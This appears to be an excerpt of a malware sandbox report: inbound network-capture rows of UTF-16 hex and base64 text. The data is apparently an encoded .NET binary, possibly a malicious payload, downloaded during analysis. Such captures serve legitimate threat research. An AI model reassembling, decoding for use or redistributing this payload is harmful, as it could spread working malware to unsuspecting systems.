2021-11-09 21:22:01 UTC	1496	IN	Data Raw: 00 44 00 52 00 55 00 45 00 72 00 64 00 30 00 4e 00 6f 00 51 00 55 00 46 00 42 00 51 00 56 00 4d 00 77 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6b 00 46 00 42 00 51 00 30 00 46 00 52 00 61 00 30 00 4a 00 46 00 51 00 55 00 4e 00 77 00 53 00 46 00 46 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 74 00 42 00 51 00 6d 00 39 00 43 00 51 00 31 00 46 00 46 00 55 00 55 00 46 00 4d 00 62 00 45 00 52 00 42 00 51 00 55 00 4a 00 61 00 51 00 56 00 4e 00 5a 00 51 00 55 00 64 00 6e 00 52 00 55 00 70 00 42 00 55 00 6b 00 46 00 42 00 63 00 6d 00 74 00 4e 00 51 00 55 00 46 00 47 00 61 00 30 00 4a 00 4c 00 55 00 55 00 46 00 68 00 51 00 56 00 46 00 46 00 51 00 55 00 56 00 42 00 51 00 6d 00 31 00 46 00 55 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00 63 00 55 00 Data Ascii: DRUErd0NoQUFBQVMwUUFBQUFBSkFBQ0FRa0JFQUNwSFFBQVdRRWtBQm9CQ1FFUUFMbERBQUJaQVNZQUdnRUpBUkFBcmtNQUFGa0JLUUFhQVFFQUVBQm1FUUFBS1FBcU
2021-11-09 21:22:01 UTC	1500	IN	Data Raw: 57 00 78 00 52 00 56 00 55 00 46 00 42 00 52 00 6d 00 74 00 43 00 53 00 6b 00 46 00 46 00 62 00 45 00 46 00 6f 00 54 00 55 00 4a 00 42 00 51 00 55 00 46 00 75 00 51 00 32 00 64 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 74 00 42 00 55 00 31 00 56 00 44 00 52 00 58 00 64 00 46 00 51 00 55 00 46 00 49 00 63 00 30 00 35 00 42 00 51 00 55 00 4a 00 61 00 51 00 56 00 4e 00 52 00 51 00 6b 00 70 00 52 00 53 00 56 00 52 00 42 00 55 00 55 00 46 00 42 00 63 00 6e 00 63 00 34 00 51 00 55 00 46 00 47 00 61 00 30 00 4a 00 4b 00 51 00 55 00 56 00 73 00 51 00 57 00 68 00 4e 00 51 00 6b 00 46 00 42 00 52 00 44 00 46 00 45 00 64 00 30 00 46 00 42 00 56 00 31 00 46 00 46 00 61 00 30 00 46 00 54 00 56 00 55 00 4e 00 46 00 64 00 30 00 56 00 42 00 51 00 55 00 35 00 42 00 52 Data Ascii: WxRVUFBRmtCSkFFbEFoTUJBQUFuQ2dBQVdRRWtBU1VDRXdFQUFIc05BQUJaQVNRQkpRSVRBUUFBcnc4QUFGa0JKQUVsQWhNQkFBRDFEd0FBV1FFa0FTVUNFd0VBQU5BR
2021-11-09 21:22:01 UTC	1504	IN	Data Raw: 00 4e 00 6d 00 52 00 46 00 56 00 45 00 31 00 43 00 5a 00 31 00 4a 00 44 00 61 00 55 00 56 00 55 00 54 00 55 00 4a 00 36 00 51 00 53 00 74 00 75 00 52 00 56 00 52 00 4e 00 51 00 6d 00 4e 00 34 00 52 00 33 00 4e 00 46 00 56 00 45 00 31 00 43 00 65 00 58 00 64 00 78 00 54 00 30 00 56 00 55 00 54 00 55 00 4a 00 33 00 61 00 46 00 4e 00 7a 00 52 00 56 00 52 00 4e 00 51 00 6d 00 64 00 6e 00 55 00 30 00 56 00 46 00 56 00 45 00 31 00 43 00 61 00 33 00 64 00 35 00 65 00 45 00 56 00 55 00 54 00 55 00 4a 00 76 00 51 00 6b 00 63 00 79 00 52 00 56 00 52 00 4e 00 51 00 6a 00 68 00 52 00 53 00 7a 00 64 00 46 00 56 00 45 00 31 00 43 00 56 00 6d 00 64 00 45 00 51 00 55 00 56 00 55 00 54 00 55 00 4a 00 49 00 64 00 32 00 70 00 47 00 52 00 56 00 52 00 4e 00 51 00 6e 00 4e 00 Data Ascii: NmRFVE1CZ1JDaUVUTUJ6QStuRVRNQmN4R3NFVE1CeXdxT0VUTUJ3aFNzRVRNQmdnU0VFVE1Ca3d5eEVUTUJvQkcyRVRNQjhRSzdFVE1CVmdEQUVUTUJId2pGRVRNQnN
2021-11-09 21:22:01 UTC	1508	IN	Data Raw: 64 00 42 00 55 00 46 00 55 00 76 00 4e 00 45 00 4a 00 4e 00 4d 00 6b 00 46 00 4d 00 51 00 54 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 46 00 51 00 54 00 6c 00 55 00 4c 00 32 00 35 00 46 00 65 00 6d 00 64 00 42 00 56 00 30 00 52 00 76 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 55 00 55 00 4a 00 6d 00 55 00 47 00 5a 00 42 00 56 00 45 00 39 00 6e 00 51 00 54 00 68 00 50 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 51 00 6b 00 46 00 4c 00 4d 00 47 00 34 00 76 00 65 00 45 00 30 00 76 00 51 00 55 00 68 00 33 00 4e 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 55 00 56 00 42 00 4f 00 47 00 70 00 46 00 52 00 55 00 5a 00 46 00 51 00 55 00 46 00 35 00 52 00 48 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 52 00 51 00 6c Data Ascii: dBUFUvNEJNMkFMQTVBQUFBQUpFQTlUL25FemdBV0RvQUFBQUFnUUJmUGZBVE9nQThPd0FBQUFDQkFLMG4veE0vQUh3N0FBQUFBSUVBOGpFRUZFQUF5RHNBQUFBQWdRQl
2021-11-09 21:22:01 UTC	1512	IN	Data Raw: 00 6c 00 6c 00 42 00 54 00 32 00 67 00 33 00 64 00 45 00 5a 00 4f 00 5a 00 30 00 46 00 44 00 62 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 78 00 6e 00 51 00 6c 00 5a 00 49 00 64 00 54 00 42 00 56 00 4d 00 6e 00 64 00 42 00 59 00 31 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 56 00 42 00 4e 00 52 00 7a 00 64 00 53 00 56 00 47 00 56 00 42 00 52 00 48 00 42 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 57 00 55 00 46 00 47 00 65 00 6b 00 68 00 30 00 52 00 6b 00 39 00 46 00 51 00 56 00 52 00 47 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 47 00 64 00 43 00 4b 00 31 00 46 00 6c 00 4d 00 46 00 55 00 31 00 51 00 55 00 4a 00 6c 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 64 00 42 00 Data Ascii: llBT2g3dEZOZ0FDbGdBQUFBQWxnQlZIdTBVMndBY1dBQUFBQUNXQVBNRzdSVGVBRHBZQUFBQUFKWUFGekh0Rk9FQVRGZ0FBQUFBbGdCK1FlMFU1QUJlV0FBQUFBQ1dB
2021-11-09 21:22:01 UTC	1516	IN	Data Raw: 42 00 62 00 47 00 64 00 42 00 52 00 46 00 46 00 54 00 4d 00 45 00 52 00 54 00 55 00 55 00 64 00 72 00 61 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 64 00 42 00 54 00 45 00 6c 00 70 00 51 00 6e 00 68 00 61 00 53 00 30 00 46 00 69 00 64 00 55 00 5a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 5a 00 51 00 55 00 46 00 36 00 5a 00 33 00 52 00 42 00 4d 00 48 00 4e 00 43 00 4d 00 45 00 6c 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 73 00 5a 00 30 00 4e 00 69 00 55 00 45 00 45 00 30 00 56 00 31 00 52 00 42 00 52 00 55 00 46 00 6f 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 30 00 46 00 4f 00 4d 00 48 00 46 00 47 00 61 00 46 00 70 00 50 00 51 00 56 00 6c 00 50 00 53 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6c 00 6c Data Ascii: BbGdBRFFTMERTUUdraFFBQUFBQ1dBTElpQnhaS0FidUZBQUFBQUpZQUF6Z3RBMHNCMElVQUFBQUFsZ0NiUEE0V1RBRUFod0FBQUFDV0FOMHFGaFpPQVlPSEFBQUFBSll
2021-11-09 21:22:01 UTC	1520	IN	Data Raw: 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 48 00 51 00 6c 00 46 00 42 00 52 00 6b 00 46 00 52 00 51 00 30 00 5a 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 57 00 55 00 5a 00 5a 00 64 00 32 00 56 00 6a 00 52 00 6d 00 39 00 56 00 51 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 65 00 47 00 64 00 57 00 4e 00 30 00 4e 00 68 00 61 00 31 00 64 00 6f 00 5a 00 30 00 64 00 42 00 62 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 52 00 57 00 4e 00 46 00 65 00 56 00 46 00 44 00 53 00 55 00 46 00 5a 00 61 00 57 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 52 00 33 00 55 00 56 00 46 00 42 00 53 00 57 00 64 00 43 00 61 00 32 00 46 00 46 00 51 00 55 00 46 00 Data Ascii: QUFBQURHQlFBRkFRQ0ZBUUFBQUFBQUFNWUZZd2VjRm9VQkFBQUFBQUFBeGdWN0Nha1doZ0dBb1FBQUFBQ0dDRWNFeVFDSUFZaWhBQUFBQUlZSVR3UVFBSWdCa2FFQUF
2021-11-09 21:22:01 UTC	1524	IN	Data Raw: 31 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 4a 00 33 00 55 00 32 00 5a 00 47 00 59 00 6b 00 56 00 43 00 52 00 6d 00 46 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 68 00 51 00 51 00 6b 00 74 00 6a 00 56 00 6e 00 4e 00 52 00 52 00 57 00 56 00 77 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 52 00 30 00 4e 00 4f 00 53 00 55 00 64 00 75 00 65 00 46 00 64 00 35 00 51 00 56 00 4e 00 68 00 62 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 4a 00 4d 00 6d 00 64 00 68 00 62 00 6b 00 5a 00 69 00 53 00 55 00 4a 00 4d 00 4e 00 6c 00 6c 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 54 00 46 00 44 00 53 00 6a 00 68 00 57 00 63 00 33 00 64 00 46 00 4d 00 33 00 42 00 6e 00 51 00 55 Data Ascii: 1BQUFBQUlZSVJ3U2ZGYkVCRmFZQUFBQUFoZ2hQQktjVnNRRWVwZ0FBQUFDR0NOSUdueFd5QVNhbUFBQUFBSVlJMmdhbkZiSUJMNllBQUFBQWhnaTFDSjhWc3dFM3BnQU
2021-11-09 21:22:01 UTC	1528	IN	Data Raw: 00 32 00 74 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 6c 00 4a 00 46 00 55 00 6b 00 46 00 42 00 4d 00 6c 00 46 00 48 00 53 00 6e 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 30 00 49 00 30 00 51 00 58 00 6c 00 52 00 52 00 47 00 46 00 42 00 57 00 6b 00 64 00 77 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 6c 00 4b 00 64 00 30 00 46 00 52 00 51 00 55 00 35 00 76 00 51 00 6d 00 31 00 78 00 61 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 6e 00 59 00 55 00 45 00 34 00 61 00 30 00 45 00 79 00 64 00 30 00 64 00 70 00 63 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 51 00 30 00 31 00 45 00 52 00 55 00 46 00 45 00 59 00 6b 00 46 00 68 00 64 00 58 00 42 00 42 00 Data Ascii: 2tBQUFBQWhnalJFUkFBMlFHSnFRQUFBQUNHQ0I0QXlRRGFBWkdwQUFBQUFJWUlKd0FRQU5vQm1xa0FBQUFBaGdnYUE4a0Eyd0dpcVFBQUFBQ0dDQ01ERUFEYkFhdXBB
2021-11-09 21:22:01 UTC	1532	IN	Data Raw: 42 00 63 00 6c 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 52 00 42 00 53 00 55 00 46 00 43 00 65 00 56 00 4a 00 6f 00 61 00 45 00 46 00 7a 00 54 00 33 00 52 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 57 00 57 00 64 00 71 00 55 00 55 00 4a 00 42 00 52 00 31 00 56 00 44 00 65 00 6b 00 73 00 77 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 64 00 30 00 4e 00 54 00 51 00 6e 00 52 00 6a 00 57 00 56 00 70 00 52 00 53 00 55 00 52 00 79 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 55 00 6b 00 64 00 4c 00 57 00 54 00 42 00 36 00 65 00 46 00 4a 00 74 00 51 00 57 00 63 00 72 00 64 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 5a 00 5a 00 32 00 70 00 52 00 51 00 6b 00 46 00 48 00 57 00 55 00 4e 00 47 00 4e 00 6a 00 52 Data Ascii: BclFBQUFBQ0RBSUFCeVJoaEFzT3RBQUFBQUlZWWdqUUJBR1VDekswQUFBQUFnd0NTQnRjWVpRSURyZ0FBQUFDUkdLWTB6eFJtQWcrdUFBQUFBSVlZZ2pRQkFHWUNGNjR
2021-11-09 21:22:01 UTC	1536	IN	Data Raw: 00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 55 00 46 00 4e 00 51 00 55 00 6c 00 36 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 57 00 46 00 4d 00 34 00 51 00 55 00 46 00 42 00 53 00 55 00 46 00 76 00 65 00 6d 00 64 00 42 00 51 00 Data Ascii: FNQUl6NEFBQUVBWFM4QUFBSUFvemdBQUFNQUl6NEFBQUVBWFM4QUFBSUFvemdBQUFNQUl6NEFBQUVBWFM4QUFBSUFvemdBQUFNQUl6NEFBQUVBWFM4QUFBSUFvemdBQ
2021-11-09 21:22:01 UTC	1541	IN	Data Raw: 51 00 56 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 55 00 6e 00 6c 00 6a 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 53 00 65 00 57 00 4e 00 42 00 51 00 55 00 46 00 46 00 51 00 56 00 56 00 44 00 61 00 30 00 46 00 42 00 51 00 55 00 6c 00 42 00 61 00 48 00 6c 00 72 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 53 00 65 00 57 00 4e 00 42 00 51 00 55 00 46 00 46 00 51 00 56 00 4a 00 35 00 59 00 30 00 46 00 42 00 51 00 55 00 56 00 42 00 55 00 6e 00 6c 00 6a 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 6c 00 65 00 6b 00 31 00 42 00 51 00 55 00 46 00 46 00 51 00 57 00 56 00 36 00 54 00 55 00 46 00 42 00 51 00 55 00 56 00 42 00 4e 00 56 00 56 00 46 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 4c 00 56 00 48 00 4e 00 42 00 51 00 55 00 46 00 46 Data Ascii: QVJ5Y0FBQUVBUnljQUFBRUFSeWNBQUFFQVVDa0FBQUlBaHlrQUFBRUFSeWNBQUFFQVJ5Y0FBQUVBUnljQUFBRUFlek1BQUFFQWV6TUFBQUVBNVVFQUFBRUFLVHNBQUFF
2021-11-09 21:22:01 UTC	1545	IN	Data Raw: 00 36 00 4d 00 45 00 46 00 42 00 51 00 57 00 4e 00 42 00 63 00 57 00 74 00 42 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 76 00 61 00 30 00 46 00 42 00 51 00 55 00 46 00 72 00 51 00 57 00 70 00 55 00 5a 00 30 00 46 00 42 00 51 00 57 00 39 00 42 00 65 00 56 00 4e 00 76 00 51 00 55 00 46 00 42 00 63 00 30 00 46 00 53 00 65 00 6a 00 42 00 44 00 51 00 55 00 46 00 46 00 51 00 55 00 35 00 46 00 53 00 55 00 46 00 42 00 51 00 55 00 6c 00 42 00 53 00 58 00 6f 00 30 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 53 00 65 00 6a 00 42 00 42 00 51 00 55 00 46 00 4a 00 51 00 55 00 52 00 6f 00 4e 00 45 00 46 00 42 00 51 00 55 00 56 00 42 00 54 00 6c 00 56 00 4a 00 51 00 55 00 46 00 42 00 52 00 55 00 46 00 4f 00 56 00 55 00 6c 00 42 00 51 00 55 00 46 00 4a 00 51 00 58 00 Data Ascii: 6MEFBQWNBcWtBQUFBZ0Fva0FBQUFrQWpUZ0FBQW9BeVNvQUFBc0FSejBDQUFFQU5FSUFBQUlBSXo0QUFBRUFSejBBQUFJQURoNEFBQUVBTlVJQUFBRUFOVUlBQUFJQX
2021-11-09 21:22:01 UTC	1549	IN	Data Raw: 45 00 4a 00 42 00 63 00 6c 00 6c 00 77 00 5a 00 32 00 64 00 52 00 51 00 6b 00 46 00 35 00 4d 00 48 00 68 00 71 00 51 00 56 00 51 00 31 00 51 00 55 00 35 00 42 00 5a 00 47 00 74 00 52 00 55 00 6c 00 4a 00 42 00 51 00 56 00 46 00 77 00 65 00 56 00 46 00 44 00 65 00 45 00 45 00 30 00 53 00 54 00 42 00 46 00 51 00 55 00 4d 00 31 00 51 00 54 00 46 00 4b 00 52 00 57 00 39 00 6e 00 56 00 45 00 70 00 42 00 4e 00 45 00 6b 00 77 00 63 00 56 00 46 00 55 00 56 00 55 00 46 00 4a 00 53 00 54 00 42 00 33 00 51 00 56 00 52 00 61 00 51 00 54 00 42 00 72 00 4e 00 58 00 6c 00 6e 00 56 00 47 00 68 00 42 00 4b 00 32 00 39 00 71 00 4d 00 45 00 46 00 55 00 63 00 45 00 45 00 78 00 54 00 58 00 51 00 78 00 5a 00 31 00 52 00 34 00 51 00 54 00 49 00 30 00 5a 00 6a 00 4e 00 42 00 56 Data Ascii: EJBcllwZ2dRQkF5MHhqQVQ1QU5BZGtRUlJBQVFweVFDeEE0STBFQUM1QTFKRW9nVEpBNEkwcVFUVUFJSTB3QVRaQTBrNXlnVGhBK29qMEFUcEExTXQxZ1R4QTI0ZjNBV
2021-11-09 21:22:01 UTC	1552	IN	Data Raw: 00 53 00 57 00 6c 00 33 00 55 00 58 00 46 00 72 00 51 00 56 00 6c 00 4a 00 4d 00 47 00 52 00 42 00 51 00 7a 00 56 00 42 00 61 00 30 00 46 00 71 00 4e 00 30 00 46 00 78 00 63 00 30 00 46 00 5a 00 53 00 54 00 42 00 6b 00 51 00 55 00 4d 00 31 00 51 00 58 00 5a 00 4f 00 51 00 30 00 64 00 33 00 64 00 54 00 42 00 42 00 57 00 55 00 6b 00 77 00 5a 00 45 00 46 00 44 00 4e 00 55 00 46 00 31 00 4f 00 55 00 4e 00 55 00 51 00 58 00 56 00 6a 00 51 00 56 00 6c 00 4a 00 4d 00 47 00 52 00 42 00 52 00 32 00 4e 00 42 00 55 00 6d 00 4e 00 75 00 52 00 33 00 64 00 44 00 59 00 30 00 46 00 6c 00 51 00 54 00 6c 00 4b 00 64 00 30 00 4a 00 53 00 51 00 55 00 46 00 7a 00 61 00 6d 00 4e 00 42 00 63 00 31 00 4a 00 42 00 63 00 55 00 55 00 79 00 5a 00 47 00 64 00 32 00 51 00 6b 00 46 00 Data Ascii: SWl3UXFrQVlJMGRBQzVBa0FqN0Fxc0FZSTBkQUM1QXZOQ0d3dTBBWUkwZEFDNUF1OUNUQXVjQVlJMGRBR2NBUmNuR3dDY0FlQTlKd0JSQUFzamNBc1JBcUUyZGd2QkF
2021-11-09 21:22:01 UTC	1568	IN	Data Raw: 00 59 00 31 00 70 00 42 00 51 00 55 00 52 00 73 00 52 00 45 00 59 00 30 00 57 00 6b 00 46 00 42 00 51 00 6b 00 68 00 45 00 61 00 55 00 31 00 61 00 51 00 55 00 46 00 43 00 53 00 45 00 52 00 35 00 54 00 56 00 70 00 42 00 51 00 55 00 4a 00 55 00 51 00 6b 00 4e 00 4e 00 57 00 6b 00 46 00 42 00 52 00 47 00 56 00 43 00 61 00 45 00 31 00 61 00 51 00 55 00 46 00 45 00 51 00 6b 00 4e 00 43 00 54 00 56 00 70 00 42 00 51 00 55 00 4a 00 4a 00 51 00 33 00 6c 00 4e 00 57 00 6b 00 46 00 42 00 51 00 6c 00 52 00 43 00 51 00 30 00 31 00 61 00 51 00 55 00 46 00 45 00 5a 00 55 00 4a 00 70 00 54 00 56 00 70 00 42 00 51 00 55 00 52 00 43 00 51 00 30 00 4e 00 4e 00 57 00 6b 00 46 00 42 00 51 00 6c 00 52 00 43 00 51 00 32 00 4e 00 61 00 51 00 55 00 46 00 45 00 5a 00 55 00 4a 00 Data Ascii: Y1pBQURsREY0WkFBQkhEaU1aQUFCSER5TVpBQUJUQkNNWkFBRGVCaE1aQUFEQkNCTVpBQUJJQ3lNWkFBQlRCQ01aQUFEZUJpTVpBQURCQ0NNWkFBQlRCQ2NaQUFEZUJ
2021-11-09 21:22:01 UTC	1584	IN	Data Raw: 00 52 00 6a 00 42 00 68 00 56 00 30 00 35 00 43 00 59 00 32 00 35 00 4b 00 61 00 47 00 56 00 56 00 62 00 48 00 56 00 68 00 57 00 46 00 4a 00 56 00 5a 00 56 00 68 00 43 00 62 00 46 00 55 00 79 00 62 00 44 00 5a 00 61 00 56 00 44 00 42 00 35 00 54 00 30 00 52 00 4a 00 51 00 56 00 4a 00 45 00 57 00 54 00 4e 00 4e 00 65 00 6b 00 31 00 36 00 54 00 55 00 52 00 52 00 65 00 56 00 46 00 72 00 57 00 6b 00 64 00 52 00 65 00 6b 00 6c 00 33 00 54 00 56 00 52 00 46 00 4d 00 6c 00 46 00 72 00 57 00 58 00 64 00 4e 00 56 00 55 00 70 00 45 00 54 00 6c 00 52 00 56 00 4d 00 6b 00 35 00 55 00 57 00 54 00 4a 00 53 00 56 00 55 00 30 00 7a 00 54 00 6d 00 74 00 4e 00 4d 00 6c 00 4a 00 71 00 5a 00 45 00 5a 00 4e 00 5a 00 30 00 4a 00 47 00 55 00 57 00 70 00 6b 00 52 00 6c 00 4a 00 Data Ascii: RjBhV05CY25KaGVVbHVhWFJVZVhCbFUybDZaVDB5T0RJQVJEWTNNek16TURReVFrWkdRekl3TVRFMlFrWXdNVUpETlRVMk5UWTJSVU0zTmtNMlJqZEZNZ0JGUWpkRlJ
2021-11-09 21:22:01 UTC	1600	IN	Data Raw: 00 56 00 58 00 6c 00 4e 00 56 00 45 00 56 00 36 00 54 00 6b 00 56 00 52 00 64 00 31 00 46 00 71 00 51 00 54 00 56 00 4e 00 56 00 47 00 73 00 30 00 54 00 6c 00 52 00 4e 00 65 00 6b 00 35 00 72 00 54 00 6b 00 52 00 4e 00 65 00 6d 00 52 00 48 00 51 00 55 00 56 00 46 00 4e 00 56 00 46 00 72 00 53 00 6b 00 56 00 4f 00 4d 00 46 00 5a 00 46 00 55 00 6b 00 52 00 4a 00 65 00 45 00 39 00 56 00 55 00 6b 00 5a 00 4e 00 52 00 45 00 6c 00 36 00 54 00 6e 00 70 00 56 00 65 00 45 00 31 00 45 00 61 00 7a 00 4a 00 52 00 61 00 6d 00 74 00 36 00 54 00 30 00 52 00 43 00 52 00 6b 00 39 00 46 00 52 00 54 00 42 00 52 00 65 00 6b 00 5a 00 47 00 55 00 6d 00 70 00 6a 00 4e 00 55 00 34 00 77 00 57 00 55 00 46 00 4f 00 56 00 45 00 46 00 34 00 55 00 57 00 74 00 47 00 52 00 56 00 4a 00 Data Ascii: VXlNVEV6TkVRd1FqQTVNVGs0TlRNek5rTkRNemRHQUVFNVFrSkVOMFZFUkRJeE9VUkZNREl6TnpVeE1EazJRamt6T0RCRk9FRTBRekZGUmpjNU4wWUFOVEF4UWtGRVJ
2021-11-09 21:22:01 UTC	1616	IN	Data Raw: 00 56 00 6e 00 56 00 61 00 4d 00 31 00 4a 00 76 00 51 00 55 00 68 00 4f 00 62 00 47 00 52 00 47 00 4f 00 55 00 35 00 5a 00 57 00 47 00 68 00 43 00 59 00 32 00 35 00 4b 00 61 00 47 00 56 00 56 00 65 00 47 00 78 00 69 00 62 00 57 00 51 00 77 00 59 00 55 00 46 00 43 00 56 00 47 00 52 00 48 00 52 00 6e 00 6c 00 6b 00 53 00 45 00 35 00 59 00 59 00 56 00 68 00 53 00 62 00 30 00 46 00 49 00 54 00 6d 00 78 00 6b 00 52 00 6a 00 6c 00 4f 00 57 00 56 00 68 00 6f 00 52 00 56 00 70 00 59 00 51 00 6a 00 42 00 68 00 51 00 55 00 4a 00 57 00 59 00 32 00 31 00 72 00 51 00 57 00 52 00 59 00 53 00 6e 00 42 00 42 00 52 00 55 00 5a 00 36 00 5a 00 56 00 63 00 31 00 61 00 6c 00 45 00 79 00 52 00 6e 00 4e 00 69 00 52 00 30 00 70 00 6f 00 57 00 54 00 4a 00 7a 00 51 00 56 00 56 00 Data Ascii: VnVaM1JvQUhObGRGOU5ZWGhCY25KaGVVeGxibWQwYUFCVGRHRnlkSE5YYVhSb0FITmxkRjlOWVhoRVpYQjBhQUJWY21rQWRYSnBBRUZ6ZVc1alEyRnNiR0poWTJzQVV
2021-11-09 21:22:01 UTC	1632	IN	Data Raw: 00 51 00 6b 00 70 00 56 00 52 00 55 00 5a 00 72 00 57 00 6b 00 68 00 4b 00 62 00 47 00 4d 00 7a 00 54 00 55 00 46 00 61 00 4d 00 6c 00 59 00 77 00 57 00 44 00 42 00 47 00 61 00 31 00 70 00 49 00 53 00 6d 00 78 00 6a 00 4d 00 30 00 31 00 42 00 55 00 6a 00 4a 00 57 00 4d 00 46 00 56 00 49 00 53 00 6e 00 5a 00 5a 00 4d 00 45 00 5a 00 72 00 57 00 6b 00 68 00 4b 00 62 00 47 00 4d 00 7a 00 54 00 55 00 46 00 53 00 56 00 7a 00 56 00 72 00 59 00 30 00 63 00 35 00 63 00 47 00 4a 00 75 00 55 00 6b 00 4a 00 61 00 52 00 31 00 4a 00 35 00 57 00 6c 00 68 00 4f 00 65 00 6b 00 46 00 48 00 52 00 6d 00 74 00 61 00 53 00 45 00 70 00 73 00 59 00 7a 00 4e 00 4e 00 51 00 56 00 55 00 7a 00 62 00 48 00 70 00 6b 00 52 00 31 00 5a 00 30 00 54 00 47 00 73 00 31 00 62 00 47 00 52 00 Data Ascii: QkpVRUZrWkhKbGMzTUFaMlYwWDBGa1pISmxjM01BUjJWMFVISnZZMEZrWkhKbGMzTUFSVzVrY0c5cGJuUkJaR1J5WlhOekFHRmtaSEpsYzNNQVUzbHpkR1Z0TGs1bGR
2021-11-09 21:22:01 UTC	1648	IN	Data Raw: 00 51 00 6e 00 5a 00 42 00 52 00 30 00 56 00 42 00 59 00 6c 00 46 00 43 00 63 00 45 00 46 00 46 00 57 00 55 00 46 00 68 00 55 00 55 00 4a 00 7a 00 51 00 55 00 64 00 56 00 51 00 55 00 78 00 6e 00 51 00 6c 00 68 00 42 00 53 00 45 00 6c 00 42 00 59 00 56 00 46 00 43 00 4d 00 45 00 46 00 48 00 56 00 55 00 46 00 69 00 5a 00 30 00 4a 00 75 00 51 00 55 00 46 00 42 00 56 00 6c 00 4a 00 6e 00 51 00 6e 00 42 00 42 00 52 00 33 00 64 00 42 00 57 00 6c 00 46 00 42 00 64 00 55 00 46 00 47 00 59 00 30 00 46 00 6a 00 5a 00 30 00 4a 00 77 00 51 00 55 00 68 00 52 00 51 00 56 00 70 00 52 00 51 00 55 00 46 00 45 00 4d 00 47 00 64 00 42 00 57 00 56 00 46 00 43 00 64 00 55 00 46 00 48 00 55 00 55 00 46 00 69 00 51 00 55 00 4a 00 73 00 51 00 55 00 68 00 4a 00 51 00 55 00 46 00 Data Ascii: QnZBR0VBYlFCcEFFWUFhUUJzQUdVQUxnQlhBSElBYVFCMEFHVUFiZ0JuQUFBVlJnQnBBR3dBWlFBdUFGY0FjZ0JwQUhRQVpRQUFEMGdBWVFCdUFHUUFiQUJsQUhJQUF
